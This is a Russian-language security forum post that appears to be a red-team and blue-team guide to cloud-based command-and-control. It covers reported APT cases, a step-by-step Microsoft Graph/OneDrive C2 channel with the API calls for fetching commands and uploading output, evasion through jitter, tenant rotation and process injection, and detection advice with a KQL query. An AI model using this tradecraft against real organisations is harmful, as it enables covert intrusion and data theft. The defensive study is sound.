ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Этичный хакинг или пентестинг (https://forum.antichat.xyz/forumdisplay.php?f=209)
-   -   Cloud C2 обход детекции: Red Team playbook по облачным каналам управления APT-групп (https://forum.antichat.xyz/showthread.php?t=592853)

Sergei webware 26.04.2026 19:37
https://forum.antichat.xyz/attachmen...12a8cc575a.png

Классические C2-серверы на выделенных VPS с кастомными доменами - архаика. Серьёзно, если в 2026 году ваш имплант стучит на
Код:
185.x.x.x
с self-signed сертификатом, можете сразу писать отчёт «нас поймали». Настоящий сдвиг - living off the cloud: C2-трафик маскируется под легитимные API-вызовы к Google Sheets, Microsoft Graph, Telegram и даже OpenAI Assistants API.

По данным Picus Red Report 2026 (анализ более миллиона образцов малвари), 80% из топ-10 техник MITRE ATT&CK направлены на уклонение и закрепление. Атакующие паразитируют на инфраструктуре, которой доверяет ваш SOC. Когда C2-трафик - обычный POST к
Код:
sheets.googleapis.com
, корреляционные правила SIEM бессильны. Они просто не знают, на что триггериться.

Дальше - практический разбор для пентестеров и security-инженеров. Реальные кейсы (GRIDTIDE, Boggy Serpens, SesameOp), механика Microsoft Graph API C2, конкретные detection gaps и рабочие правила для blue team.
Почему облачный C2 сервер невидим для стандартного SOC-стека
Когда имплант шлёт beacon на IP
Код:
185.x.x.x
по порту 443 с self-signed сертификатом - палится мгновенно. Threat intelligence фиды содержат миллионы известных C2-адресов, репутационные движки помечают их за часы. Но что происходит, когда тот же beacon уходит на
Код:
graph.microsoft.com
или
Код:
sheets.googleapis.com
?

NGFW видит TLS-соединение к IP из пула Microsoft или Google. Сертификат валидный, домен в allowlist - без него не работают Office 365 и G Suite. Заблокировать? Удачи объяснить бизнесу, почему почта не ходит.

Тысячи легитимных приложений одновременно обращаются к тем же API-эндпоинтам. C2-трафик - доли процента от общего объёма. Выделить его из потока без дополнительной аналитики не может ни один NGFW. IP-адреса Google и Microsoft никогда не попадут в блеклисты - атакующий использует ту же инфраструктуру, что и ваша бухгалтерия.

Даже при SSL-инспекции (если она включена для трафика к облачным сервисам, что бывает редко) содержимое API-вызовов выглядит как легитимные CRUD-операции с документами. Ничего подозрительного.

В терминологии MITRE ATT&CK это техника T1102 (Web Service) - использование легитимных веб-сервисов для канала управления. Пересекается с T1071 (Application Layer Protocol), поскольку трафик идёт поверх стандартных HTTP/HTTPS. Разница: T1071 - про использование прикладного протокола вообще, T1102 - про злоупотребление конкретными доверенными сервисами. Именно тут основной detection gap.

https://forum.antichat.xyz/attachmen...7202761213.png

Реальные кейсы living off the cloud атак 2025-2026
Русскоязычные источники описывают облачный C2 фрагментарно: новость на 300 слов про CLOUD#REVERSER, краткий обзор APT31. Между тем англоязычные DFIR-отчёты содержат детальную механику, которую стоит разобрать.
GRIDTIDE: Google Sheets как полноценная C2-платформа
Кейс, который лично меня впечатлил масштабом наглости. Кампания приписывается связанной с КНР кибершпионажной группировке, раскрыта Google Threat Intelligence Group совместно с Mandiant. Бэкдор GRIDTIDE применялся против телекомов и госорганизаций в десятках стран.

GRIDTIDE написан на C - выполняет произвольные shell-команды, загружает и скачивает файлы. Канал управления - Google Sheets API. Таблица используется не как документ, а как полноценный коммуникационный канал. Обычная гугл таблица, в которой вместо квартального отчёта - команды для импланта.

Механика по Mandiant: при запуске имплант ждёт 16-байтовый криптоключ в отдельном файле на хосте. Этим ключом расшифровывается конфигурация Google Drive через AES-128-CBC. Конфигурация содержит service account, приватный ключ и Spreadsheet ID для доступа к конкретной таблице через API. При каждом запуске GRIDTIDE «чистит за собой» - удаляет первые 1000 строк методом
Код:
batchClear
, чтобы предыдущие команды не мешали текущей сессии.

Для закрепления - systemd-сервис по пути
Код:
/etc/systemd/system/xapt.service
, бинарь в
Код:
/usr/sbin/xapt
. Имя выбрано для маскировки под легитимную утилиту Debian (кто полезет проверять, что такое xapt, когда в системе 200+ сервисов?). Дерево процессов при запуске:

Код:


Код:
/var/tmp/xapt
└── /bin/sh
    └── sh -c id 2>&1
        └── uid=0(root) gid=0(root) groups=0(root)
Дополнительно разворачивался SoftEther VPN Bridge для зашифрованного исходящего соединения - метаданные VPN-конфигурации указывают на длительное использование инфраструктуры.

Принципиальный момент: Google ликвидировала кампанию терминацией Cloud-проектов атакующих и отзывом доступа к Sheets API. Но до этого трафик GRIDTIDE был неотличим от легитимных обращений к Google Sheets. Google прямо указывает: это «is not the result of a security vulnerability in Google's products» - злоупотребление легитимной функциональностью API. Проблема не в уязвимости. Проблема в доверии.
Boggy Serpens: Telegram API, UDP и AI в малвари
Unit 42 описали эволюцию иранской группировки Boggy Serpens (MuddyWater), связанной с MOIS. За последний год группа перешла от «шумных» массовых кампаний к целенаправленным атакам с длительным закреплением.

Критическое изменение в C2: Boggy Serpens использует стандартные HTTP-коды состояния, кастомный UDP-трафик и Telegram API для управления имплантами. Среди инструментов - MuddyC2Go (написан на Go) и кастомные импланты. По некоторым публикациям, группа также применяет бэкдор BlackBeard, хотя его точная атрибуция требует дополнительной верификации по первоисточникам Unit 42. Отдельно интересно: группа применяет AI-генерированный код в разработке малвари и использует trusted relationship compromise - компрометацию доверенных аккаунтов для обхода репутационных фильтров.

Четыре волны атак на одну энергетическую компанию Ближнего Востока за шесть месяцев (август 2025 - февраль 2026). Каждая волна - персонализированные луры для разных департаментов, от инженеров до бухгалтерии. Такой уровень детализации фишинговых документов указывает на предварительную компрометацию внутренней переписки жертвы. Ресурсы государственного уровня - тут без вариантов.
SesameOp: C2-трафик под видом работы с OpenAI
Согласно Picus Red Report 2026, бэкдор SesameOp маршрутизирует весь трафик через OpenAI Assistants API, маскируя C2-коммуникации под работу разработчика с AI-инструментами. Для файрвола это обращения к
Код:
api.openai.com
- домену, который всё чаще попадает в корпоративные allowlist (попробуйте сейчас заблокировать OpenAI в компании, где каждый второй «повышает продуктивность с ChatGPT»). Та же тенденция у Storm-0501 - напрямую запрашивают AWS Secrets Manager через API, полностью обходя endpoint detection.
APT28, APT31 и адаптация к локальным облакам
Living off the cloud атаки адаптируются к локальным рынкам. APT31 в кампаниях против российского ИТ-сектора использует как международные, так и российские облачные сервисы (включая платформы Яндекса) для C2 и экфильтрации. Загрузчик CloudyLoader и бэкдор CloudSorcerer применяют модифицированную реализацию RC4 для шифрования C2-сообщений. Экфильтрация идёт через утилиты на .NET и облачные хранилища.

Кампания CLOUD#REVERSER (описана Securonix) - классический паттерн cloud dead drop: VBScript и PowerShell используют Google Drive и Dropbox для обмена файлами, закрепление через задачу планировщика Windows, замаскированную под обновление Chrome, с интервалом в 60 секунд.
Microsoft Graph API C2: механика для Red Team adversary simulation
Microsoft Graph API - один из самых удобных каналов для облачного C2 в корпоративных средах. Причина банальна: практически каждая организация с Microsoft 365 имеет разрешённый трафик к
Код:
graph.microsoft.com
. Блокировать его - всё равно что отключить почту.


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Требования к окружению
  • Тестовый Azure AD tenant (подходит бесплатный developer tenant)
  • Зарегистрированное приложение в Azure AD с правами
    Код:
    Files.ReadWrite.All
    (application permission) для OneDrive
  • Имплант с поддержкой OAuth 2.0 client credentials flow
  • Любая ОС с возможностью HTTPS-запросов
  • Техника применяется исключительно в рамках авторизованных adversary simulation-проектов с подписанным scope of work
Концепция OneDrive C2 канал
Схема работает по принципу dead drop resolver. На практике я использую пять шагов:

Шаг 1. Оператор регистрирует приложение в Azure AD с правами
Код:
Files.ReadWrite.All
- формально это доступ ко всем OneDrive в tenant'е. Ограничение scope возможно через Conditional Access for workload identities или Sites.Selected для SharePoint; для OneDrive per-user ограничения через ApplicationAccessPolicy не предусмотрено - эта политика покрывает только Exchange mailboxes. Получаем
Код:
client_id
,
Код:
client_secret
,
Код:
tenant_id
.

Шаг 2. Имплант на скомпрометированном хосте запрашивает OAuth-токен через
Код:
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
с
Код:
grant_type=client_credentials
. Запрос аутентифицируется как service principal и логируется в AADServicePrincipalSignInLogs - но в общем потоке OAuth-аутентификаций к login.microsoftonline.com он теряется среди легитимных приложений.

Шаг 3. Имплант периодически читает файл с командами из OneDrive через Graph API -
Код:
GET /v1.0/users/{user}/drive/root:/commands.txt:/content
(где
Код:
{user}
- userPrincipalName вида user@tenant.onmicrosoft.com или objectId). Оператор записывает команды через веб-интерфейс или API.

Шаг 4. Результат выполнения загружается обратно через
Код:
PUT /v1.0/users/{user}/drive/root:/output/{hostname}.txt:/content
.

Шаг 5. Для усложнения детекции имена файлов генерируются динамически, старые артефакты удаляются.

Весь трафик идёт на
Код:
graph.microsoft.com
по 443 порту с валидным сертификатом Microsoft. Я добавляю jitter - разброс между beacon'ами от 30 до 300 секунд, рандомизацию путей и ротацию tenant'ов каждые 48-72 часа. Постоянный polling одного файла с фиксированным интервалом - детектируемый паттерн, и профессиональный оператор его избегает.

https://forum.antichat.xyz/attachmen...7202729552.png

Обход EDR через облако: конкретные detection gaps
Разберём, что именно не видит типичный корпоративный стек - Defender for Endpoint + Palo Alto NGFW + Splunk SIEM - при столкновении с облачным C2.

На endpoint'е EDR фиксирует процесс, устанавливающий HTTPS-соединение. Адрес -
Код:
graph.microsoft.com
. Если имплант внедрён через Process Injection (T1055) в
Код:
outlook.exe
, то Outlook, обращающийся к Microsoft Graph - штатное поведение. Алерта нет.

На сети NGFW видит TLS-сессию к IP из пула Microsoft. App-ID классифицирует трафик как office365 - разрешённая категория. SSL Decryption для трафика к Microsoft обычно отключён из-за certificate pinning и compliance-ограничений.

В SIEM корреляционные правила ищут обращения к известным C2-доменам (совпадений нет), аномальные объёмы трафика (C2-polling - десятки килобайт), нестандартные порты (443 - стандартный). Ни один триггер не срабатывает.

NDR (Darktrace и аналоги) - поведенческая аналитика имеет шанс на детекцию, если создан baseline для конкретного хоста. Но если имплант внедрён в процесс, штатно использующий Graph API, baseline не нарушается. Вот в чём принципиальная слабость: облачный C2 эксплуатирует не уязвимость, а архитектуру доверия.


Detection playbook: как ловить легитимные сервисы для C2
Сигнатурный подход тут бесполезен. Нужна комбинация поведенческого анализа и контекстных правил.
Аномалии OAuth-токенов
Для Microsoft Graph API C2 имплант аутентифицируется не как пользователь, а как приложение через client credentials flow. Мониторинг Azure AD Sign-in Logs на предмет аутентификации service principal'ов с нехарактерных IP - первый рубеж. Стартовый KQL-запрос для Azure Sentinel:

Код:


Код:
AADServicePrincipalSignInLogs
| where ResultType == 0
| where not(ipv4_is_in_any_range(IPAddress, dynamic(['10.0.0.0/8','172.16.0.0/12','192.168.0.0/16'])))
| summarize count() by AppId, AppDisplayName, IPAddress
| where count_ > 10
Сразу оговорюсь - это стартовая точка, а не production-ready детект. Без baseline и whitelist известных AppId (Microsoft First-Party приложения, корпоративные интеграции) он засыплет вас false positives, потому что service principal'ы штатно аутентифицируются с внешних IP. Добавьте фильтрацию по
Код:
AppId
и
Код:
ServicePrincipalName
известных приложений - тогда шум станет терпимым.
Паттерны beaconing
Даже с jitter облачный C2 генерирует периодичные обращения. Ключевая метрика - распределение интервалов между запросами к одному API-эндпоинту. Для GRIDTIDE-подобных имплантов аномалия - регулярный вызов
Код:
batchClear
. Легитимные пользователи крайне редко программно очищают 1000 строк Google Sheets. Если видите такой паттерн - копайте глубже.
Корреляция endpoint и network
Самый рабочий подход - соединение данных EDR и сетевых логов. Если процесс, запущенный не из стандартного расположения (или запущенный через injection), устанавливает регулярные HTTPS-соединения к облачным API - это высокоприоритетный алерт. На одном проекте мы именно так поймали имплант:
Код:
svchost.exe
из
Код:
C:\Users\Public
регулярно ходил в Graph API. Настоящий svchost так не делает.
MITRE ATT&CK маппинг облачной инфраструктуры APT

ТехникаТактикаПрименение в Cloud C2T1102 Web ServiceCommand and ControlGoogle Sheets, OneDrive, Telegram API как C2-каналыT1071 Application Layer ProtocolCommand and ControlC2 поверх HTTPS к облачным APIT1055 Process InjectionDefense Evasion, Privilege EscalationВнедрение в легитимный процесс для маскировки обращений к cloud APIT1036 MasqueradingDefense EvasionGRIDTIDE - под xapt, CLOUD#REVERSER - под обновление ChromeT1547 Boot or Logon Autostart ExecutionPersistence, Privilege Escalationsystemd-сервис (GRIDTIDE), scheduled task (CLOUD#REVERSER)T1562 Impair DefensesDefense EvasionИсключения в брандмауэре, очистка логов

Отдельная история - взрывной рост техники Virtualization/Sandbox Evasion (T1497) в 2026 году. По данным Picus, современная вредоносная программа анализирует движения мыши - LummaC2 вычисляет евклидово расстояние и углы перемещений курсора. Если траектория линейна (типично для sandbox), имплант не активируется. Это напрямую бьёт по детекции облачного C2: имплант молчит в sandbox-среде и активирует канал только на реальном хосте. Динамический анализ становится бесполезным.
Вопрос к читателям
В detection playbook выше мы использовали KQL-запрос к
Код:
AADServicePrincipalSignInLogs
для выявления аномальных OAuth-аутентификаций с нехарактерных IP. Но в средах с гибридным Azure AD и десятками интеграций (50+ зарегистрированных enterprise-приложений) этот подход генерирует ощутимый шум.

У кого в продакшне работает детекция Cloud C2 beaconing через Microsoft Graph API - каким фильтром вы отсекаете false positives: по whitelist
Код:
AppId
, по
Код:
ResourceDisplayName
, или через корреляцию с EDR-телеметрией процесса, инициировавшего токен-запрос? Покажите фрагмент вашего KQL или Sigma-правила с конкретными полями фильтрации.


Время: 19:03